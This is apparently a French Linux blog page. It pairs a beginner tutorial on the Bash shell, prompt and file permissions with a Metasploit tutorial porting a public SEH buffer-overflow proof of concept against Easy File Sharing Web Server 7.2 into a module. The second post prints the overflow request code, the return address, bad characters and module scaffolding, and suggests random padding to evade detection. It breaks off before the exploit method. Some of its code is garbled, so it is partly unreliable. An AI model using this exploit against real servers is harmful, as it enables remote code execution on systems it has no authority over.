10658702_778793872264730_1303208366544891572_o

Ligne de commandes ; [1] – Introduction

Que serait mon blog « LinuxFrench » si je ne fais pas d’article concernant la base ? Vous avez compris . Je parle bien de l’essentiel à maitriser en tant qu’utilisateur Linux, la ligne de commandes.

Alors me voilà parti (avant de reprendre les articles sur Metasploit) pour une série d’article concernant le shell Linux et ses ligne de commandes Linux.

Dans cette partie, je parlerais de :

Le shell ; votre interprète pour dialoguer avec votre ordinateur Linux (bien entendu).
C’est très bien de vouloir s’initier à la ligne de commandes, encore faut il savoir où et avec quels outils saisir ces dernières ? Nous allons découvrir ici que c’est grâce à un programme dénommé shell que vous pouvez conserver votre système, et qu’il en existe plusieurs types.

Premiers pas dans le terminal ; Vous voilà face au terminal de commandes. À quoi peuvent bien correspondre les caractères qui y apparaissent d’office ? Comment apprendre la langage du shell, à savoir la syntaxe particulière qu’il faut respecter pour saisir une commande ? Ce sont les points qui seront explicités dans cette seconde partie.

bash-terminal.jpg

Le shell : votre interprète pour dialoguer avec votre ordinateur Linux.

Saisir une commande, c’est en fait donner des ordres à votre ordinateur. Or, vous ne parlez pas du tout le même langage tout les deux, il vous faut donc un interprète ! C’est le rôle d’un programme que l’on appelle le « shell ». ainsi, vous saisissez une commande, le shell la lit, l’interprète, puis l’exécute. Grâce à lui vous pouvez par exemple naviguer parmi vos fichiers, en créer de nouveau, lancer des logiciels,ect…(j’insiste sur le « ect » car les possibilités du terminal Bash de Linux sont incroyablement nombreuses).

1 ) Et je le trouve où ce Shell ?

Le shell intervient dès le démarrage de votre système, avant même l’affichage du bureau ! En effet, le shell de connexion (ou login shell) est lancé dès que vous saisissez un nom d’utilisateur . Le rôle du shell de connexion est de mettre en place l’environnement de travail de l’utilisateur, autrement dit, il initialise un certain nombre de variables (des conteneurs dans lesquels des données sont stockées) propres à chaque utilisateur. Pour cela, il utilise des informations qui se trouvent dans certains fichiers spécifiques. Comprenez que ce shell particulier n’est pas interactif, il n’attend aucune action de votre part (aucune saisie de commande).

Ensuite, face à votre environnement de bureau, vous pouvez exploiter les fonctionnalités du shell grâce à un logiciel que l’on appelle émulateur de terminal ou plus simplement terminal. Il en existe de très nombreux : Terminal GNOME, Xterm, Konsole, Terminator, LXTerminal, ROXTerm, ect. Chaque distribution Linux propose au moins un terminal par défaut ; vous le trouverez généralement dans le menu « Accessoires » ou dans les « Outils système » de votre environnement de bureau. Ce terminal n’a plus rien avoir avec le shell de connexion précédent ; il s’agit d’un shell interactif cette fois-ci, qui se base sur un fichier de configuration que vous pouvez personnaliser selon vos besoins. Nous verrons ça plus tard, ne vous inquiétez pas.

1.jpg

C’est également au shell que vous aurez affaire à l’affichage graphique de votre système refuse ou cesse de s’exécuter pour une raison quelconque. Vous vous retrouverez alors devant un écran tout noir où, suite aux différents messages affichés par le système, vous serez invité à saisir votre nom d’utilisateur et le mot de passe. Ici, nous sommes en présence d’un shell de connexion interactif. Pour informations, il s’agit ici d’une console virtuelle « tty » gérée par un programme du nom de getty.

À savoir que la configuration par défaut d’un système GNU/Linux met à votre disposition six de ces consoles virtuelles. Pour y accéder alors que vous êtes face à votre interface graphique, il faut utiliser les raccourcis clavier [Crtl]+[Alt]+[F1] à [Ctrl]+[Alt]+[F7], est dédiée par défaut à l’interface graphique (le serveur X Window System). Il est donc possible de revenir à votre environnement bureau à tout moment avec la commande « startx« .

La présence de ces consoles peut s’avérer très utile. Par exemple, si l’une de vos applications graphiques s’est figée et que vous ne parvenez pas à reprendre la main dessus, il vous est possible de fermer cette application bloquante en passant par une console virtuelle avec la commande « kill » suivi de son « PID » (identifiant) que vous trouverez avec la commande « top » ou « htop« .

Par exemple :

234

Mais n’allons pas trop vite …

2 ) Les options de votre Terminal.

La plupart des émulateurs (ici le Terminal GNOME) permettent la création de plusieurs fenêtres et/ou plusieurs onglets si nécessaire. Ceci peut vous permettre par exemple de lancer plusieurs commandes séparément (&&), de travailler dans des répertoires distincts,ect. (Encore une fois, j’insiste sur le « ect« .)
Ce système permet aussi de lancer une commande dont l’exécution prend du temps, tout en continuant à lancer d’autres commandes dans d’autres onglets .

5

Il est outre possible de renommer chaque fenêtre et chaque onglet indépendamment, par défaut, chacun comporte le chemin vers le répertoire courant « pwd« . Certains émulateurs, comme Terminator, ici, offrent la possibilité de scinder la fenêtre horizontalement ou verticalement, ce qui peut s’avérer très pratique et dans certains cas préférables (pour la suite aircrack-ng, par exemple) à la multiplication des onglets.

pwdterminator

Bien souvent, votre émulateur de terminal s’ouvre dans votre répertoire personnel par défaut. Les premiers caractères qui y sont affichés constituent le prompt ; nous y reviendrons ci-après. Pour adopter l’affichage à vos préférences. Il est généralement possible de choisir la police et la taille de caractères ; vous pouvez bien sur choisir la couleur du texte et l’arrière plan selon vos critères de lisibilité avec l’option « options profil » . Quelques options existent concernant l’arrière plan ; vous pouvez ajouter une image ou régler la transparence (dans les deux cas, attention à la lisibilité !).

La plupart des émulateurs (sinon tous) supportent le copier-coller et le mode plein écran ; ce dernier vous permettra de travailler plus confortablement (d’ailleurs, vous imaginez pas à quel point ça peut l’être, confortable. D’un terminal qui lis à haute voie le résultats de vos commandes en passant par l’enregistrement live en format HTML, et j’en passe….). Pour gagner en ergonomie, vous pouvez également personnaliser les raccourcis clavier associés aux actions les plus courantes comme le copier/coller par exemple. Des profils d’utilisation permettent parfois de sauvegarder le paramétrage de votre émulateur et ainsi de bénéficier d’un profil adapté à tâche que vous effectuez en ligne de commandes.

preference-profilpreference-profi-2preference-profil-3

3 ) Les différents types de Shell.

Le shell est avant tout un programme, un composant du système, et il existe plusieurs shells pour les systèmes Unix. Chacun met à disposition de l’utilisateur un jeu de caractères spéciaux, des commandes internes et des fichiers d’initialisation (qui permettent de paramétrer l’environnement de travail) . La plupart des shells présentent des fonctionnalités communes, car sont issus d’un ancêtre commun : le Bourne shell.

Développé à la fin des années 70 par Steve Bourne, le Bourne Shell (abrégé en « sh« ) permet à l’époque de lancer des commandes plus complexes (grâce à son système de redirection et de « tubes« ), mais il est bien plus qu’un simple interpréteur, car il a été conçu comme un véritable langage de programmation. On le trouve encore aujourd’hui sur la plupart des systèmes Unix.

Parallèlement, Bill Joy crée le C shell (« csh« ) peu utilisé actuellement. Celui ci est comme incompatible avec le shell Bourne, il inclut toutefois des fonctionnalités supplémentaires particulièrement intéressantes : un historique des commandes, la création d’alias de commande, ou encore le contrôle de tâches.

Ces fonctionnalités seront plus tard reprises par David Korn, qui crée ainsi un nouvel interpréteur, un Bourne Shell amélioré baptisé Korn Shell (« ksh« ). Nous sommes alors en 1983. Le Korn Shell est aujourd’hui largement utilisé (du moins sa version « ksh 88 » crée en 1988) et a d’ailleurs servi de base à la normalisation du shell.

La même année, Ken Greer propose le TC shell (« tcsh« ) basé sur le C shell et compatible avec ce dernier ; le « T » désigne le TENEX, un système d’exploitation dont s’est inspiré Greer. Le tcsh apporte des fonctionnalités essentielles, comme la gestion d’un historique de commandes ou encore l’auto-complétion des noms de fichier. Il devient le shell par défaut de Mac OS X jusqu’à la version 10.2 et de la plupart des systèmes dérivant de BSD.

Actuellement, l’interpréteur que l’on rencontre le plus souvent sur les systèmes GNU/Linux et qui combine tous les atouts de ces prédécesseurs est le shell Bash (Bourne-again Shell), publié pour la première fois en 1989 par Brian Fox pour le compte de la Free Software Foundation. C’est la raison pour laquelle nous nous concentrons exclusivement sur le shell Bash dans cette série d’article, ainsi que tous les autres.

À noter néanmoins que beaucoup délaissent aujourd’hui le Bash au profit du Z shell (« zsh« ), dont la première version a été écrite en 1990 par Paul Falstad, un étudiant de l’université de Princeton. Pour l’anecdote, le nom « zsh » viendrait de l’identifiant de connexion de Zhong Shao, un professeur de Princeton. Zsh est non seulement capable d’émuler le comportement de la plupart des autres shells (bash, ksh, csh), mais il offre des fonctionnalités étendues d’auto-complétion et de recherches de fichiers et propose même la correction orthographique des commandes !

Les principaux shells Unix :

1977 => Bourne Shell ; (Stephen Bourne) – conçu comme un véritable langage de programmation, il offre notamment un système de redirection et de « tubes ».

1978 => C Shell ; (Bill Joy) – il propose un historique des commandes, la création d’alias de commande, ou encore le contrôle de tâches.

1983 => TC SHell ; (Ken Greer) – il est le shell par défaut de Mac OS X jusqu’à la version 10.2. La gestion d’un historique de commandes ou encore l’auto-complétion des noms de fichiers comptent au nombres de ses fonctionnalités.

1983 => Korn Shell ; (David Korn) – Il a servi de base à la normalisation du shell.

1989 => Bourne-again shell ; (Brian Fox) – L’interpréteur que l’on rencontre le plus souvent sur les systèmes GNU/Linux (c’est celui que j’utilise perso).

1990 => Z Shell ;  (Paul Falstad) – il est capable d’émuler le comportement de la plupart des autres shells. Le Z shell propose des fonctionnalités étendues d’auto-complétion et de recherche de fichiers.

CE QUI FAUT RETENIR ET SAVOIR DE CETTE PREMIÈRE PARTIE :

1 – Le shell est un interpréteur de commandes, chargé de traduire et d’exécuter ce que vous saisissez dans une interface (communément appelée « terminal » ou « console »). C’est en quelque sorte la « coquille » qui entoure le noyau du système.

2 – Le shell de référence que j’utilise sur mon blog, est le terminal Bash.

3 – Le Free Software Foundation est une organisation américaine à but non lucratif fondée par MONSIEUR Richard Stallman en octobre 1985, dont le but est de promouvoir le logiciel libre et défendre ses utilisateurs. La FSF aide également au financement du projet GNU depuis son origine.

Monsieur, Richard Stallman :

stallman-banniere.png

En avant pour la deuxième partie….

Vos premiers pas dans le Terminal.

Vous savez maintenant que vous dialoguez avec le shell au travers d’un « émulateur de terminal ». Mais comment vous faire comprendre ? Quelle est la syntaxe à utiliser et aussi, comment interpréter les caractères spécifiques que vous pouvez y lire ? C’est ce que nous allons aborder dans ce second chapitre.

1 ) « Parler » le Bash.

Utiliser le shell vous immerge dans un environnement bien particulier, adapté au dialogue qui va s’établir entre vous et votre machine.

Pour commencer, chaque shell est doté d’un fichier de configuration, dans lequel sont définis son comportement, son apparence et bien d’autres options que nous verrons ultérieurement. À savoir que chaque utilisateur de l’ordinateur peut personnaliser son shell selon ses préférences.

Le shell met à votre disposition tout un lot de commandes de manipuler vos donnéeset documents, de lancer des applications ou d’opérer sur le système lui-même. Certaines tâches peuvent faire appel à plusieurs commandes successives et donc, on pourra les regrouper dans un petit programme appelé communément « script shell » ; ceci sera abordé en détails dans un prochain article de la même série que celui-ci.

Il met également à votre disposition des variables spécifiques, appelées : « variables d’environnement » qui permettent de communiquer le contexte d’exécution à toute commande que vous lancerez.

Le shell vérifie chaque commande saisie lors de son exécution. Il peut renvoyer un message d’erreur si vous avez commis une erreur de syntaxe ou si elle est impossible (dans le cas où vous ciblez un fichier qui n’existe pas, par exemple). Il peut également ne rien renvoyer du tout, ce qui ne veut pas dire qu’il y a un problème, bien au contraire ! Il est tout à fait normal qu’une commande correctement exécutée ne renvoie pas rien lorsqu’elle s’est bien déroulée, ou lorsque aucun résultat ne correspond à votre requête. Dans tous les cas, le shell vous rend la main à la fin de l’exécution et l’invite de commande réapparait.

2 ) Le Prompt : C’est à vous !

2-1

Le prompt est l’invite de commande, qui vous signale que le système attend la saisie au clavier d’une commande. Par défaut, sur de nombreuses distributions, le prompt est constitué de votre nom d’utilisateur, suivi du nom de la machine. Suit le caractère tilde (~) indique que vous vous trouvez dans votre répertoire personnel. Généralement, le caractère $ indique que agissez en tant qu’utilisateur normal ; si vous êtes connecté en tant que root (l’administrateur du système), ce caractère est remplacé par un #.

Tout ceci n’est que l’apparence par défaut du prompt, car sachez qu’il est tout à fait possible de le personnaliser. en effet, la valeur du prompt est stockée dans une variable appelée PS1, que vous pouvez afficher via la commande echo $PS1. Par défaut, sur de nombreuses distributions Linux, elle est équivalente à :

\u@\h:\w\$

Ce qui se traduit par :

@:<répertoire courant depuis le répertoire /home>$

Chaque élément variable et configurable du prompt est introduit par le caractère antislash (\). Les autres caractères, ainsi que les espaces, sont insérés en tant que tels. Voici quelques éléments supplémentaires qu’il est possible d’y introduire :

-> \d : pour la date.
-> \n : pour un saut de ligne.
-> \t : pour l’heure au format HH:MMSS:SS (sur 24H).
-> \W : pour le répertoire courant.

Pour modifier la valeur de la variable PS1 désignant le prompt, il suffit de saisir PS1=’nouveau motif’ dans le terminal. Par exemple :

linuxfrench@LinuxFrench:~$ PS1=’\u@\h@\d:\w\$ ‘
linuxfrench@LinuxFrench.mer. janv. 04:~$

2-2

Notez toutefois que ceci ne durera que le temps de la session : dès que vous fermez votre terminal, la nouvelle valeur de la variable PS1 n’est plus prise en compte et votre prompt revêt son aspect initial si vous rouvrez le terminal. Pour modifier durablement l’apparence de votre prompt, il faut définir la variable PS1, selon le format expliqué ci-dessous, dans votre fichier .bashrc.

3 ) La syntaxe des commandes.

Une commande s’applique généralement à un ou plusieurs fichier(s) ou répertoire(s). Ceux-ci sont précisés à la suite de la commande, ce sont les arguments (ou paramètres) de la commande. Une commande peut nécessiter aucun, un ou plusieurs argument(s) selon le cas.

Par exemple, la copie d’un fichier dans le répertoire fait appel à 3 composantes : la commande « copier », un premier argument « fichier » et un deuxième argument « répertoire », ce qui se résume à :

~$ cp photo.jpg  Images/

2-3

Il arrive qu’une commande ne nécessite aucun argument, comme dans le cas d’une mise à jour  de la base de paquets logiciels sous Debian par exemple :

~# apt-get update

2-4

Et aussi, il est possible d’exécuter une commande sans options, ni arguments, comme un simple ls, qui permet de lister le contenu du répertoire courant.

Une commande peut en outre s’accompagner d’options. Elles permettent de spécifier un comportement particulier de la commande ou d’introduire un argument.

Les options sont introduites la plupart du temps par un tiret, quelques fois par un + ; elles peuvent être exprimées sous forme d’une seule lettre (et dans le ce cas, elles sont introduites par un tiret) ou sous forme d’une seule lettre (et dans ce cas, elles sont introduites par un tiret) ou sous forme d’un mot-clé (et dans ce cas, on utilise un tiret double), on parle alors de la « forme longue » de l’option. Par exemple :

~$ rm -v *.png

est équivalent à :

~$ rm –verbose *.png

L’option -v utilisée ici est commune à de nombreuse commandes ; elle active le mode « verbeux » qui affiche à l’écran le déroulement des opérations.

Finalement, lancer une commande s’effectue en suivant la syntaxe :

commande [options] argument(s)

Un doute sur l’utilisation d’une commande, un outil concernant une option ? Dans ce cas, consultez le manuel des commandes ! La commande man, suivie d’un nom de commande, permet d’accéder à la page du manuel Unix s’y rapportant. Vous y trouverez la syntaxe pour l’utiliser correctement, les options disponibles et comment les employer, des exemples d’utilisation, ect. Pour sortir d’une page de manuel, on tape simplement sur la touche [Q] .
2.5.jpg

En guise de commande, vous pouvez tout aussi bien lancer un programme, en saisissant simplement le nom du fichier exécutable correspondant. Par exemple : firefox pour lancer votre navigateur web, libreoffice pour lancer votre suite bureautique, vlc pour lancer votre lecteur multimédia, ect.

Le nom du programme peut être suivi ou non d’un nom de fichier compatible avec ledit logiciel, pour ouvrir ce dernier directement. Attention : dans ce dernier cas, vous n’avez plus la main sur le terminal tant que l’application reste ouverte ! Pour pallier à cet inconvénient, on peut lancer le programme en arrière plan, en ajoutant le caractère & à la fin de la commande, comme suit :

~$ firefox index.html &

Le shell vous redonne la main immédiatement.

2.6.jpg

4 ) La cible de vos commandes : les fichiers et répertoires.

Comme précisé plus haut, les fichiers sont la plupart du temps la cible des commandes que vous saisissez. Il faut savoir que chaque fichier est caractérisé par un ensemble de propriétés. Ces dernières peuvent être visualisées via la commande ls -l qui permet de visualiser rapidement le contenu détaillé du répertoire courant :

~$ ls -l

2-7

Vous obtenez ainsi diverses informations, dans cet ordre :

-> le type de fichier et les permissions qui sont octroyés aux différents utilisateurs du système.

-> le nombre de liens pointant vers le fichier (ou répertoire).

-> le propriétaire du fichier ou du répertoire.

-> le groupe auquel il appartient.

-> la taille du fichier (en octets).

-> la date et l’heure de la dernière modification.

-> le nom du fichier ou répertoire.

En outre, chaque lien de la liste est colorisé selon son type (répertoire, fichier image, fichier audio, fichier exécutable, archive …), ce qui vous permet de les identifier plus rapidement.

droit

Revenons sur la série de caractères en début de ligne.

Le premier caractère indique le type de fichier (- dans le cas d’un fichier, d pour un répertoire, l pour un lien symbolique, ect). Puis, suivent 3 groupes de 3 caractères parmi r,w , x ou – . Ces trois groupes de caractères correspondent respectivement aux droits :

-> du propriétaire du fichier (ou répertoire)

-> du groupe d’utilisateurs auquel est rattaché le fichier (ou répertoire).

-> des autres utilisateurs.

si ces lettres sont présentes, cela signifie qu’elles accordent la permission qu’elles désignent :

-> le droit de lecture symbolisé par la lettre r (pour read) : pour un fichier, cela signifie qu’il est consultable via l’application qui convient  ; pour un répertoire cela signifie que l’on peut consulter la liste de son contenu.

-> le droit d’écriture ; symbolisé par la lettre w (pour write) ; pour un fichier, l’écriture sous-entend une modification du fichier ; pour un répertoire, cela signifie que l’on peut y créer un nouveau fichier ou sous-répertoire.

-> le droit d’exécuter, symbolisé par la lettre x (pour execute) ; le droit d’exécuter autorise l’utilisation de fichiers exécutables ; un répertoire exécutable signifie que l’utilisateur est autorisé à se positionner dedans (avec la commande cd par exemple).

Au contraire, si vous trouvez un tiret à la place d’une lettre, cela signifie que la permission n’est pas accordée.

À savoir que les permissions peuvent être ainsi être exprimées en mode numérique : 1 pour le droit d’exécution (x), 2 pour le droit d’écriture (w) et 4 pour le droit de lecture (r) ; on attribue un chiffre à chaque « groupe » (propriétaire, groupe et autres) en additionnant simplement leurs droits.

Par exemple, des permissions 664 sur un fichier correspondent à -rw-r–r–, ce qui signifie que le propriétaire du fichier a le droit de le lire et d’y écrire, tandis que le groupe et les autres utilisateurs n’ont que le droit de lecture.

Voilà pour vos premiers pas dans le terminal ! Vous savez à présent où et comment saisir une commande, nous allons voir dans la partie suivante comment profiter des fonctionnalités du shell conçues pour faciliter son utilisation.

À SAVOIR :
Par convention, les systèmes GNU/LINUX utilisent en fin de prompt le signe # lorsqu’il s’agit de l’utilisateur root et le signe $ pour un autre utilisateur.

À RETENIR :
l’option -a de la commande ls permet de visualiser les fichiers et répertoires cachés contenus dans le répertoire courant. C’est à dire, les fichiers et répertoires dont le nom commence par un point.

Dans le prochain article, je parlerais de « Comprendre » avec comme chapitre :
– les fonctionnalités qui simplifient la vie
– le contexte : quelques concept de base
– des caractères très spéciaux

À bientôt …..

(Merci à l’équipe de Linux Magasine).

intro-image

Metasploit [2.2] – Exploitation ; De la preuve de concept au module Metasploit.

Bonjour à tous.

Nous revoilà parti pour la deuxième parti de l’article « Exploitation » avec Metasploit.
(Toujours merci à l’équipe Misc.)
Si vous avez loupé la première partie, je vous met le lien ici .

metsploit-png-293x150

On commence :

De la preuve de concept au module Metasploit.

Le framework Metasploit permet de porter rapidement et simplement des codes d’exploitation publics. Ici, on abordera le cas de l’adaptation d’une preuve de concept en un exploit fonctionnel visant « Easy File Sharing Web Server » .

Easy File Sharing Webserver  => Easy File Sharing Webserver vous permet de créer un serveur P2P sur votre ordinateur sans aucune connaissance en programmation. Un assistant vous permet en effet de construire sous windows un serveur permettant à vos utilisateurs de télécharger les fichiers que vous leur aurez mis à disposition et même de créer des forums. Le serveur est sécurisable grâce aux protocoles SSL/HTTPs.

Le quotidien de certains pentesters est de passer par des étapes de formation, et de veille. C’est à l’occasion d’une combinaison de ces deux activités certains tombent sur une preuve de concept visant Easy File Sharing Webserver 7.2 sur exploit-db , exécutant simplement un calc.exe .

edb-2015-theme-logo641
1 )  ANALYSE :

1.1 : Preuve de concept :

Le script python de la preuve de concept est une d’une simplicité enfantine. Il génère une requête HTTP de type « GET » sur ‘/changeuser.ghp‘ ,passant un cookie « User ID » ayant une valeur dont la taille dépasse 4067 octets . Cette faille permet d’écraser l’adresse du gestionnaire d’exceptions (« Exception Handler« ) par l’adresse d’une suite d’instructions de type « pop / pop / ret » permettant ainsi de rediriger le flot d’exécution du programme, et ainsi exécuter notre code arbitraire (généralement un shellcode, ou ,comme dans cette preuve de concept, exécuter un calc.exe).

Plus d’informations sur l’exploitation de dépassement SEH sont disponible sur ici.

[…]
craftedreq   =    « A »*4059
craftedreq   +=  « \xeb\x06\x90\x90\ »   #  Basic  SEH  jump
craftedreq   +=   struct.pack (« <I »,   0x100017743) #  pop commands from ImageLoad.
dll
craftedreq   +=   « \x90″*40   #  NOPer
craftedreq   +=   shellcode
craftedreq   +=   « C »*50      # filler
[…]


header-object

1.2 : Évolutions :

Dans la vraie vie, un pentester ne souhaite pas forcément exécuter un calc.exe ,mais plus tôt disposer d’un intercepteur de ligne de commandes. De plus, une recherche sur Shodan nous indique que généralement ce service est accessible via SSL.

Dans les deux cas, il ne s’agit pas de modifications particulièrement lourdes à mettre en place. Remplacer un shellcode par un autre fait partie des compétences de base que tout pentester se doit d’avoir (ce qui n’est pas encore mon cas pour être franc). Quant au SSL, les moyens de faire sont multiples (utilisation d’un wrapper SSL, tel que ‘stunnel‘, modification du script pour utiliser une sslSocket…).

Pour les curieux, une version plus complète de l’exploit en Python, gérant SSL en exécutant un reverse shell TCP a été développée, et est disponible ici .

shodan-1shodan-maps-dark

2) PORTAGE VERS METASPLOIT :

C’est à ce moment que le framework Metasploit se rend utile, en uniformisant le développement de codes d’exploitations. en effet, le support SSL devient transparent, car géré par sa couche de communication du framework (dans ce cas, HTTP). L’utilisation d’un autre shellcode se fait également de manière transparente. Tout cela étant géré par des options.

Voyons dès à présent comment transformer ce code d’exploitation en un module Metasploit.

2.1 : Contribuer à Metasploit.

Il y a un certain nombre de règles de développement à suivre avant de contribuer au projet Metasploit. Cela passe avant tout par la lecture du fichier CONTRIBUTING.md à la racine du framework. Ce dernier renvoie par la suite à diverses pages du wiki hébergé sur le dépôt GitHub du projet Metasploit. Leur lecture est très intéressante, et indispensable à quiconque envisage de contribuer, que cela soit pour modifier un module existant, ou en poster un nouveau.

Le module que nous allons détailler n’est pas distribué avec le framework Metasploit, sa première version étant trop peu fiable pour mériter une publication. De plus, le journal des pull requests du projet Metasploit nous apprend que plusieurs modules ont été proposés pour cette version du programme et que seul le module fonctionnel a été retenu.

bqpsrjpccaajqtascreen-shot-2011-11-17-at-6-37-12-pm

2.2 : Descriptifs.
2.2.1 – Type d’exploit :

Il faut commencer par déterminer le type d’exploit dont il s’agit. Nous avons affaire ici à l’exploitation d’une vulnérabilité distante. Notre exploit dérive donc d’une classe de type ; Msf::Exploit::Remote et il s’intitule : efs_fmws_changeuser_userid.rb ; que vous allez placez dans le répertoire des exploits HTTP .

$ sudo -s
# cd /usr/share/metasploit-framework/modules/exploits/windows/http
# nano efs_fmws_changeuser_userid.rb

code-1

class MetasploitModule < Msf::Exploit::Remote

code-2

2.2.2 – Niveau de fiabilité :

Nous pouvons indiquer le niveau de fiabilité de l’exploit, via la variable « Rank ». Le framework Metasploit permet de spécifier les niveaux de fiabilité suivants :
(plus d’infos ici).

ManualRanking => Il s’agit de codes d’exploitations provoquant des dénis de service. Il peut aussi s’agir de codes d’exploitations génériques ne ciblant pas une vulnérabilité précise, et nécessitant un paramétrage manuel, par exemple de paramètres HTTP à cibler par exemple.

LowRanking => Codes d’exploitation ayant une très forte probabilité de planter le système, ou le service ciblé, mais pouvant, parfois fonctionner.

AverageRanking => Probabilité non-nulle de provoquer un plantage du système ou du service ciblé.

NormalRanking => Le code d’exploitation fonctionne, mais uniquement dans les conditions prévues par le développeur (version précise non standard, ou langue particulière par exemple).

GoodRanking => Les conditions d’exploitations requises (versions, langue, ect.) sont la norme.

GreatRanking => Plusieurs cibles disponibles, et le code d’exploitation est capable de déterminer automatiquement la bonne (c’est par exemple le cas du module ciblant la fameuse vulnérabilité corrigée par MS08-067.)

ExcellentRanking => Réservé au module réalisant une exploitation n’aboutissant pas, de part leur fonctionnement, à un plantage du système ou de l’application (sauf manipulation de l’utilisateur, évidemment ,comme les injections SQL, LFI, RFI, ect…)

Notre code d’exploitation n’a pas été testé sur énormément de cible, mais semble bien fonctionner. On va donc lui attribuer un niveau de fiabilité « Normal », qui correspond à la majorité des cas :

Rank = NormalRanking   #  Reliable  memory corruption

code-3.jpg

Le niveau « GoodRanking » pourrait également correspondre, mais ce critère n’est là qu’à titre informatif.

2.2.3 – Quelques dépendances :

L’intérêt de l’utilisation de Metasploit réside dans la richesse des fonctions qu’il met à disposition pour faciliter le développement d’exploits. À cet effet, il existe des fonctions facilitant la génération de requêtes HTTP, et de schémas d’enregistrements SEH qui seront envoyés au serveur distant.

S’agissant d’une vulnérabilité de type écrasement SEH, exploitée au travers d’un échange HTTP, il nous faut donc importer les « mixins » liés à ceux deux caractéristiques :

include  Msf::Exploit::Remote::HttpClient
include  Msf::Exploit::Remote::SEH

code-4

2.2.4 – Métadonnées :

Nous allons ensuite renseigner un certain nombre de métadonnées relatives au code d’exploitation. Ces informations ne sont pas particulièrement vitales, et sont celles renvoyées par la commande ‘info’ depuis le prompt Metasploit (msf>). Il s’agit généralement des informations suivantes :

=> nom du code d’exploitation, généralement le nom du programme vulnérable et le type de vulnérabilité.

=> une description, pas forcément courte, pouvant détailler la vulnérabilité ainsi que fournir des informations supplémentaires sur le mode opératoire de l’exploitation.

=> le ou les auteurs de la vulnérabilité, du code d’exploitation, ect…

=> des références, comme des identifiants de codes d’exploitation ayant servi de base sur exploit-db, des bulletins de sécurité, ect…

=> la date de divulgation de la vulnérabilité.

=> le type de licence.

Voici une définition des informations du module en cours de développement :

def initialize (info = {})
   super (update_info(info,
‘Name’                        =>  ‘Easy File Management Web Server 7.2 Stack
Buffer Overflow (SEH)’,
‘Description’    => %q{
Easy File Management Web Server v7.2 contains a buffer overflow
wich can be exploited by a remote attacker sending an HTTP request
containing a specially crafted « UserID » cookie in order to execute
arbitrary code.
},
‘Author’                        =>
[
‘AuditOr’       # Vulnerability discovery
meik’            # Exploit and MSF module
],
‘License’                        => MSF_LICENSE,
‘References’                 =>
[
[‘EDB’,       38526′],
[‘URL’,       http://www.web-file-management.com/&rsquo;]
],


code-5

2.3 : Variables d’exploitation.
2.3.1 – Plateforme et architecture :

Viennent ensuite des informations visant à faciliter la génération automatique du shellcode (ou code encoquillé, d’après bitoduc) , comme la plateforme (« Plateform ») ou l’architecture (« Arch ») .

Il serait en effet dommage de permettre l’utilisation d’un shellcode pour Linux sur architecture Itanium dans le cas d’une cible sous Windows/x86.

‘Platform’                => ‘win’
‘Arch’                        => ARCH_X86,
‘DefaultOptions’   
=>
{
‘EXITFUNC’      
=>  ‘process’
},

code-7

2.3.2 – Caractères à éviter :

C’est également le moment de déclarer la liste des caractères à éviter lors de la génération du shellcode, ainsi que l’espace disponible pour faire tenir ce dernier. La liste des caractères à éviter (« badchars ») a été recherchée manuellement, mais cette étape sort du cadre de cet article. Nous retrouvons les grands classiques du monde du Web, ainsi que ‘\x3b‘, c’est à dire le point-virgule. Peu étonnant sachant que nous envoyons un cookie.

‘Payload’        =>
{
‘BadChars’     =>   « \x00\x0a\x0d\x3b »,
‘Space’            =>   5000
},

code-8.jpg

2.3.3 – Target :

Cette définition permet de déterminer les informations relatives à notre cible, à savoir le logiciel que l’on exploite, comme l’adresse de retour, et l’offset.

Concernant l’adresse de retour, il s’agit d’un des éléments principaux de notre exploit, puisque c’est à cet endroit que notre flot d’exécution sera redirigé une fois la pile explosée. Il s’agit de l’adresse d’une suite d’instructions « pop/ pop/ ret » qui nous permettra d’exécuter du code situé quelques octets avant cette même adresse.

pop-pop-ret

L’offset correspond tout « simplement » à la quantité de données à écrire avant de provoquer un écrasement des enregistrements SEH. Dans notre cas, nous laisserons Metasploit gérer une partie du traitement, par conséquent nous soustrayons 4 octets à la taille effective des données :

‘Targets’                =>
[
[‘Easy File Sharing Web Server 7.2′  {  ‘Ret’  => 0x100102A3 }],
],
‘DisclosureDate  => ‘Nov 30 2015’,
‘DefaultTarget’    =>  0 ) )

code-9

2.3.4 – Autres options :

Enfin, nous renseignons également un paramètres correspondant au chemin du script vulnérable, qu’il sera possible de modifier via la commande ‘set‘. Ici il s’agit du paramètre TARGETURI.

Cela nous donne le résultat suivant :

   register_options (
[
OptString.new(‘TARGETURI’,   [true, The URI path of an existing resource, /changeuser.ghp’])
],  self.class)
end

code-10

Au delà des restrictions liées à l’architecture, il est également possible de définir les types de shellcodes qui seront utilisables durant l’exploitation, comme par exemple uniquement l’exécution de commandes via la directive suivante :

‘Compat’   =>  {PayloadType’  =>  ‘cmd’},

code-11.jpg

Cependant, cela ne nous sera d’aucune utilité dans notre exemple par conséquent nous ne l’utiliserons pas.

2.4 : Génération de la requête.
2.4.1 – Principe :

Évidemment, on est loin d’avoir un exploit fonctionnel à ce stade-là. C’est le but de la methode « exploit » de la classe Msf::Exploit::Remote que nous allons surcharger avec notre propre code qui aura pour charge de générer notre requête complète, puis l’envoyer.

Pour générer notre requête, il faut :

[     4059 octets de junk] [  un  short   jump  ][ adresse d’un pop/pop/ret  ]
[     shellcode   ]

2.4.2 – Spécificités de Metasploit :

il serait trivial d’effectuer une simple concaténation de toutes les informations requises et les envoyer simplement via une requête HTTP. Peut alors se poser le problème de la détection. En effet, si nous préfixons notre shellcode d’un grand nombre de « A », ce n’est pas super discret, et une signature de détection de ce type d’attaque pourra alors être développée. Metasploit permet la génération d’une chaîne aléatoire, pouvant avoir des contraintes (caractères alphanumériques uniquement, par exemple), à l’aide des fonctions suivantes :

–  rand_text_alpha ()

Ces deux fonctions prennent en paramètre le nombre de caractère à générer, et d’éventuels caractères à bannir.

De plus, la génération d’un « payload » SEH peut également être automatisée par Metasploit à l’aide des fonctions :

–  generate_seh_record ()

Ces deux fonctions prennent en paramètre l’adresse d’une suite d’instructions « pop/pop/ret« .

Le wiki du projet Metasploit décrit l’utilisation de ces deux fonctions. Le lecteur curieux est invité à lire cette documentation pour d’avantage d’informations.

Une fois notre cookie « UserID » généré, nous procédons à son envoi à l’aide de la fonction « send_request_cgi » de Metasploit, chargée de la génération d’une requête HTTP valide.

Dans notre cas, la fonction prendra les paramètres suivants :

=> uri : correspondant au chemin du script vulnérable.

=> cookie : comprenant notre cookie spécialement formé.

2.4.3 – Implémentation :

def  exploit

